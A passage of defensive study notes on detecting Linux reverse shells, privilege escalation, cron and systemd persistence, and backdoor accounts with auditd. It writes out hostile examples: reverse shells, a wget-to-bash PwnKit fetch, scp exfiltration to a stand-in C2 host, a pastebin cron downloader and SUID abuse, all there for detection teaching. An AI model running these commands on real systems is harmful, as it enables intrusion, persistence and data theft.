python3 -c '[...] s.connect(("10.30.30.30",80));pty.spawn("bash")'10.30.30.30:80

Reading the bash one:

  • bash -i → interactive shell
  • >& /dev/tcp/IP/PORT → send stdout+stderr to a TCP connection (/dev/tcp is a bash feature, not a real file)
  • 0>&1 → read stdin from the same connection

Port choice: attackers pick ports like 80/443 to blend with web traffic (Python example uses 80).


2. Detecting Reverse Shells

SOC severity: CRITICAL. A reverse shell means the system is already breached and a human is actively working in it.

Walk UP — where did it come from?

bash
ausearch -i -x socat          # pid=27808 ppid=27806 auid=unset uid=serviceuser
ausearch -i --pid 27806       # /bin/sh -c [ping -c] 4 -W 1 127.0.0.1 && socat TCP:10.20.20.20:2525 …
ausearch -i --pid 27796       # /usr/bin/python3 /opt/trypingme/main.py   (ppid=1)
text
systemd (1)
└─ python3 /opt/trypingme/main.py   (27796)  ← vulnerable web app
   └─ sh -c "ping … && socat …"    (27806)  ← injected command visible in full!
      └─ socat TCP:10.20.20.20:2525 (27808)  ← reverse shell

The sh -c line is gold: it shows the original ping command + the injection together, proving exactly how it happened.

Walk DOWN — what did the attacker do?

bash
ausearch -i --ppid 27808 | grep proctitle
# id → uname -a → ls -la . → …    (Discovery, as always)

Reverse shell red flags

  • /dev/tcp/ in a command line
  • socat, nc/ncat, python -c … socket, pty.spawn, perl -e … socket
  • A service (auid=unset) spawning a shell that makes an outbound connection
  • Shell processes with a network connection to an external IP

3. Privilege Escalation (TA0004)

Web exploits usually land as a low-privilege service user (www-data, serviceuser), possibly stuck in /var/www/html or unable to run malware → attackers need root.

IF discovery finds X → THEN escalate with Y

Discovery (IF)Escalation (THEN)
uname -a → old unpatched Ubuntu 16.04Kernel/software exploit like PwnKit: wget http://bad.thm/pwnkit.sh | bash
find /bin -perm 4000 → env has SUIDAbuse it: /bin/env /bin/bash -p → root shell
ls /etc/ssh → unprotected ssh-backup-keyssh root@127.0.0.1 -i ssh-backup-key

Key terms:

  • SUID (-perm 4000): binary runs with the owner's privileges (often root), regardless of who launches it. Misconfigured SUID on env, find, vim, python… = root. (Reference: GTFOBins.)
  • bash -p: "privileged mode" → bash does not drop the elevated effective UID it inherited.
  • PwnKit (CVE-2021-4034): polkit pkexec bug → local root on most distros from 2009–2022.

Detecting PrivEsc — watch the SURROUNDINGS, not the exploit

Hundreds of SUID tricks and thousands of CVEs → you can't write a rule per exploit. Detect the events around it:

bash
# Detection 1: Discovery spike
whoami                              # → www-data
id; pwd; ls -la; crontab -l
ps aux | egrep "edr|splunk|elastic" # looking for security tools
uname -r                            # → old 4.4 kernel

# Detection 2: Download to temp dir
wget http://c2-server.thm/pwnkit.c -O /tmp/pwnkit.c
gcc /tmp/pwnkit.c -o /tmp/pwnkit    # compiling on the victim!
chmod +x /tmp/pwnkit
/tmp/pwnkit

# Detection 3: Exfiltration as root
whoami                              # → root   ← escalation worked
tar czf dump.tar.gz /root /etc/
scp dump.tar.gz attacker@c2-server.thm:~
SignalWhy it matters
ps aux | egrep "edr|splunk|elastic"Hunting for your security tools
gcc run by a service userWeb servers almost never compile code
Execution from /tmpClassic staging area
whoami answer changes (www-data → root)Escalation succeeded
tar of /root, /etc + scp outExfiltration

Confirming success — compare UID of parent vs child

bash
ausearch -i -x pwnkit        # /tmp/pwnkit   pid=24304  uid=serviceuser
ausearch -i --ppid 24304     # bash          pid=24310  uid=root        ← UID JUMPED
ausearch -i --ppid 24310     # whoami        pid=24312  uid=root

Rule: a child running as a more privileged user than its parent, without sudo/su/login in between = privilege escalation.

Nuance: check euid too, not just uid. SUID abuse (env bash -p) often keeps uid=serviceuser but sets euid=root. Exploits like PwnKit set both to root.


4. Persistence (TA0003) — Surviving Reboots

Linux servers can run for years without rebooting, so some attackers skip persistence. Those wanting long-term access add 1–2 backdoors.

APT29 / GoldMax — line added to /var/spool/cron/<user>:

text
@reboot nohup /home/<user>/.<hidden-dir>/<malware> > /dev/null 2>&1 &

@reboot = run at every boot · hidden dir · nohup + & = background · output discarded.

Rocke cryptominer (via Redis/phpMyAdmin exploits):

bash
echo "*/10 * * * * root (curl https://pastebin.com/raw/1NtRkBc3) | sh" > /etc/cron.d/root

*/10 = every 10 minutes → re-downloads & re-runs the script → self-healing if IT deletes the files. Also note > overwrites the whole file.

Cron syntax refresher: minute hour day month weekday [user] command. /etc/cron.d/* and /etc/crontab include a user field; per-user crontabs (crontab -e) don't.

4b. Systemd services (T1543.002)

Services live in /lib/systemd/system/ and /etc/systemd/system/. With root, anyone can add one.

Sandworm / GOGETTER — /lib/systemd/system/cloud-online.service:

ini
[Unit]
Description=Initial cloud-online job      # fake, trustworthy-sounding
[Service]
ExecStart=/usr/bin/cloud-online           # malware disguised as a system binary

Real units also need [Install] WantedBy=… + systemctl enable to start at boot; the room simplified it.

Detecting cron & systemd persistence

MonitorPaths / commands
Cron files/etc/crontab, /etc/cron.d/*, /var/spool/cron/*, /var/spool/crontab/*
Systemd folders/lib/systemd/system/*, /etc/systemd/system/* (+ less common, e.g. user units in ~/.config/systemd/user/)
Processesnano /etc/crontab, crontab -e, systemctl start|enable <svc>
bash
ausearch -i -f /etc/systemd     # file changes → vi created malicious.service
ausearch -i -x crontab          # crontab -e executed as root

In the file event: a2=O_WRONLY|O_CREAT|O_EXCL = file opened for writing and newly created (CREAT+EXCL = must not have existed before) → a brand-new service file.


5. Account Persistence — Access Without Malware

Goal: come back in a month without leaving malware. Method depends on how they first got in.

5a. New user account (T1136)

text
useradd[27254]: new group: name=support, GID=1001
useradd[27254]: new user: name=support, UID=1001, home=/home/support, shell=/bin/bash
usermod[27258]: add 'support' to group 'sudo'
usermod[27258]: add 'support' to shadow group 'sudo'
  • Detect in auth.log: grep -E 'useradd|usermod'
  • Then build the tree: ausearch -i --ppid 27254 (and up the parents) to see who created it
  • Innocent-sounding names (support, backup, admin2) + sudo within seconds = backdoor

5b. Backdoored SSH keys (T1098.004)

bash
echo "AAAAC3Nza...IkiINvQt/R" >> ~/.ssh/authorized_keys

Very hard for IT to spot: one more random-looking line among legit keys.

Detect with FILE monitoring, not process monitoring. echo is a shell builtin → no new process is created → no execve → process logs show nothing useful. The file write appears only as proctitle=bash.

bash
ausearch -i -f /.ssh/authorized_keys

Example auditd watch rule:

text
-w /root/.ssh/authorized_keys -p wa -k ssh_keys

Each user's file needs coverage; watching all of /home is noisy.

5c. Application persistence

Breached WordPress admin → upload a web shell (e.g. WSO) → run commands through the website. No cron, no SSH key, nothing at the OS level → auditd and system logs often never see it.

Same risk for: exposed IT automation tools, unprotected SIEM/EDR consoles.

Rule of thumb: you checked every OS persistence location but malware keeps coming back → suspect a compromised public-facing app.

Persistence summary

TechniqueWhereDetect via
Cron job/etc/cron*, /var/spool/cron*auditd file watch + crontab process
Systemd service/etc/systemd/system, /lib/systemd/systemauditd file watch + systemctl process
New user/etc/passwd, sudo groupauth.log useradd/usermod
SSH key~/.ssh/authorized_keysauditd file watch (not process)
App backdoorWeb root, app configApp logs, file integrity, web-process trees

6. Targeted Attacks

Hack and ForgetTargeted
Automated, any victimSpecific companies / governments
Miners, botnets, proxiesEspionage, ransomware, long-term access
Rarely escalate privilegesPrivEsc, persistence, lateral movement

Linux as the entry point

Linux runs the internet-facing edge: firewalls, web/mail servers, VPNs. Even in a 99%-Windows company, one breached Linux server (srv-web-01) → pivot into the Active Directory network → major Impact.

Linux in espionage — Kimsuky APT

Breached a mission-critical server and persisted with a systemd service:

ini
[Unit]
After=network.target
Description=syslogd                       # mimics the logging daemon
[Service]
ExecStart=/bin/sh -c "/var/log/syslogd"   # malware hidden in the LOG folder
Restart=always                            # relaunches if killed

Red flags: an executable inside /var/log (log directories hold logs, not binaries) · fake system name · Restart=always.

Linux in ransomware — hypervisors

Hundreds of Windows VMs can run on just a few physical hypervisors. Breach the hypervisor (exploit or SSH) → encrypt every VM's disk at once, regardless of guest OS.

Note: KVM/Proxmox are Linux; VMware ESXi is not technically Linux, but ransomware gangs build "Linux" encryptors for it and the same attack logic applies.


7. Room Inconsistency to Know

In the "Detecting SSH Backdoor" log, the SYSCALL line shows exe=/usr/bin/vi with the same event ID (:806) and timestamp as the systemd example. That's a copy-paste in the room. For an echo >> builtin write, a real log would show exe=/usr/bin/bash (matching proctitle=bash).


8. MITRE ATT&CK Recap (all four rooms)

TacticTechniques covered
Initial AccessExploit Public-Facing App · External Remote Services (SSH) · Supply Chain
ExecutionCommand & Scripting Interpreter · Scheduled Task/Job · System Services
PersistenceAccount Manipulation (SSH keys) · Create Account · Systemd Service · Cron
Privilege EscalationAbuse Elevation Control (SUID) · Exploitation (PwnKit)
DiscoveryAccount · File/Directory · Network Service · Permission Groups · Process · System Info/Network
Command & ControlIngress Tool Transfer · Non-Standard Port · Web Service
ExfiltrationOver C2 / alternative protocol (scp)
ImpactResource Hijacking (miners) · Data Encrypted for Impact (ransomware)

9. One-Page Summary

  1. Exploits give bad shells → attackers open a reverse shell (/dev/tcp, socat, python). Treat as critical.
  2. Trace reverse shells up (find the vulnerable app; the sh -c line shows the injection) and down (see the attacker's commands).
  3. Service users need root: old kernels/PwnKit, SUID binaries, exposed keys.
  4. Detect PrivEsc by its surroundings: discovery spike, security-tool hunting, gcc/downloads in /tmp, exfil afterwards.
  5. Confirm escalation: child's uid/euid higher than parent's without sudo/login.
  6. Persistence: cron (@reboot, */10 self-healing), systemd (fake names, Restart=always), new sudo user, SSH keys, app web shells.
  7. SSH-key backdoors need file monitoring: echo is a builtin, invisible to process logs.
  8. Executables in /tmp, /var/log, or hidden dot-dirs = suspicious by location alone.
  9. Linux is the door into Windows networks and the multiplier in hypervisor ransomware.